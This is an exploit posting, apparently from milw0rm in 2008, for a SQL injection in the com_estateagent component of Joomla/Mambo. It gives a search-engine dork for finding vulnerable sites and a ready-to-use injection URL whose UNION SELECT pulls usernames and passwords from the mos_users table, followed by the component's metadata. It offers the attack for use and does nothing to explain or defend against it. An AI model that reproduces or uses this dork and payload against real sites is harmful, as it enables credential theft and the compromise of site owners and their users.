37 lines
No EOL
1.3 KiB
Text
37 lines
No EOL
1.3 KiB
Text
#########################################################################
|
|
#
|
|
# joomla SQL Injection(com_estateagent)
|
|
#
|
|
#########################################################################
|
|
#
|
|
# AUTHOR : S@BUN
|
|
#
|
|
# HOME : http://www.hackturkiye.com/
|
|
|
|
#########################################################################
|
|
#
|
|
# DorK 1 : allinurl: allinurl: "com_estateagent"
|
|
#
|
|
########################################################################
|
|
EXPLOIT :
|
|
|
|
index.php?option=com_estateagent&Itemid=S@BUN&func=showObject&info=contact&objid=-9999/**/union/**/select/**/username,password/**/from/**/mos_users/*&results=S@BUN
|
|
|
|
#########################################################################
|
|
# S@BUN www.hackturkiye.com S@BUN
|
|
#########################################################################
|
|
# S@BUN GOOD LUCKY S@BUN
|
|
#########################################################################
|
|
|
|
<name>EstateAgent</name>
|
|
<creationDate>17.08.2004</creationDate>
|
|
<author>Darko Selesi</author>
|
|
<copyright>
|
|
This component is released under the GNU/GPL License
|
|
</copyright>
|
|
<authorEmail>e.agent@frame-works.de</authorEmail>
|
|
<authorUrl>mambo.frame-works.de</authorUrl>
|
|
<version>0.1</version>
|
|
<description>EstateAgent component for Mambo 4.5.x</description>
|
|
|
|
# milw0rm.com [2008-01-30] |